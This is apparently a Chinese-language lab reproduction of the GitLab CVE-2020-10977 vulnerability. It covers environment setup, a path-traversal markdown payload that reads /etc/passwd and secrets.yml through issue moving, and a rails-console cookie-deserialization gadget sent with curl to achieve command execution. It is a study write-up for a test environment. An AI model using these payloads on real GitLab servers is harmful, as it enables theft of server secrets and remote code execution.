1. 程式人生 > 其它 >CVE-2020-10977-GITLAB CE/EE 任意檔案讀取導致遠端命令執行漏洞-環境搭建及完整復現圖文詳細筆記

CVE-2020-10977-GITLAB CE/EE 任意檔案讀取導致遠端命令執行漏洞-環境搭建及完整復現圖文詳細筆記

漏洞環境搭建-CENTOS7

1.安裝依賴軟體

yum -y install policycoreutils openssh-server openssh-clients postfix

2.設定postfix開機自啟,並啟動,postfix支援gitlab發信功能(對漏洞環境應該不重要)

systemctl enable postfix && systemctl start postfix

3.下載gitlab安裝包,然後安裝
官方下載:
CE下載地址:https://packages.gitlab.com/gitlab/gitlab-ce
EE下載地址:https://packages.gitlab.com/gitlab/gitlab-ee

清華開源映象站下載:
centos 6系統的下載地址:https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el6
centos 7系統的下載地址:https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7

漏洞版本範圍在>=8.5,<=12.9

(ps:測試9.5.0的版本時沒有找到move issue功能。檢視當前gitlab版本命令:cat
/opt/gitlab/embedded/service/gitlab-rails/VERSION)

下載rpm包並安裝:

wget https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7/gitlab-ce-9.5.0-ce.0.el7.x86_64.rpm

rpm -i gitlab-ce-9.5.0-ce.0.el7.x86_64.rpm

4.修改gitlab配置檔案指定伺服器ip和自定義埠

vim /etc/gitlab/gitlab.rb

這裡我設定了8888埠

5.重置並啟動Gitlab
執行以下命令

gitlab-ctl reconfigure

gitlab-ctl restart

顯示成功啟動之後,訪問埠進入Gitlab頁面,提示修改root密碼

PS:若出現502頁面,多次重新整理頁面即可,這是由於Gitlab效能要求比較高,伺服器響應慢導致的,推薦虛擬機器記憶體至少分配4G。

漏洞復現

測試版本為gitlab-12.8.7-ce

任意檔案讀取

0x001 新建兩個測試專案

0x002 在其中一個project中建立新的issue,在其問題描述中輸入下方程式碼,然後提交

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)

0x003 建立issue成功後點擊move issue,將它移動到test2中


0x004 test2中的issue中帶了一個password附件

0x005 點選下載password附件,用記事本方式開啟,發現其內容就是/etc/password的內容

RCE(REMOTE COMMAND/CODE EXECUTE)

0x001 利用任意檔案讀取漏洞,下載/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml檔案,獲取secret_key_base

0x002 問題描述中輸入:

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)

0x003 下載secrets.yml,獲取secret_key_base

0x004 在自己的攻擊機上搭建一個gitlab環境(詳見環境搭建筆記),將目標機下載下來的secerts.yml覆蓋在自己攻擊機上/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml

(也可以只替換secret_key_base)

0x005 使用gitlab-rails console執行以下命令

gitlab-rails console #進入rails console
  • 1

依次輸入:

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `echo flag was here > /tmp/flag` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

0x006 獲取cookie,構造語句:

curl -vvv 'http://192.168.1.86:8888/users/sign_in' -b "experimentation_subject_id=cookie"

(ps:experimentation_subject_id引數輸入rail console獲取的cookie值)

通過任意檔案讀取下載/tmp/flag檔案,內容:“flag was here”,說明命令執行成功!

想了解更多可以檢視漏洞部落格
參考:https://hackerone.com/reports/827052

TRANSLATE with x English
Arabic Hebrew Polish
Bulgarian Hindi Portuguese
Catalan Hmong Daw Romanian
Chinese Simplified Hungarian Russian
Chinese Traditional Indonesian Slovak
Czech Italian Slovenian
Danish Japanese Spanish
Dutch Klingon Swedish
English Korean Thai
Estonian Latvian Turkish
Finnish Lithuanian Ukrainian
French Malay Urdu
German Maltese Vietnamese
Greek Norwegian Welsh
Haitian Creole Persian  
  TRANSLATE with COPY THE URL BELOW Back EMBED THE SNIPPET BELOW IN YOUR SITE Enable collaborative features and customize widget: Bing Webmaster Portal Back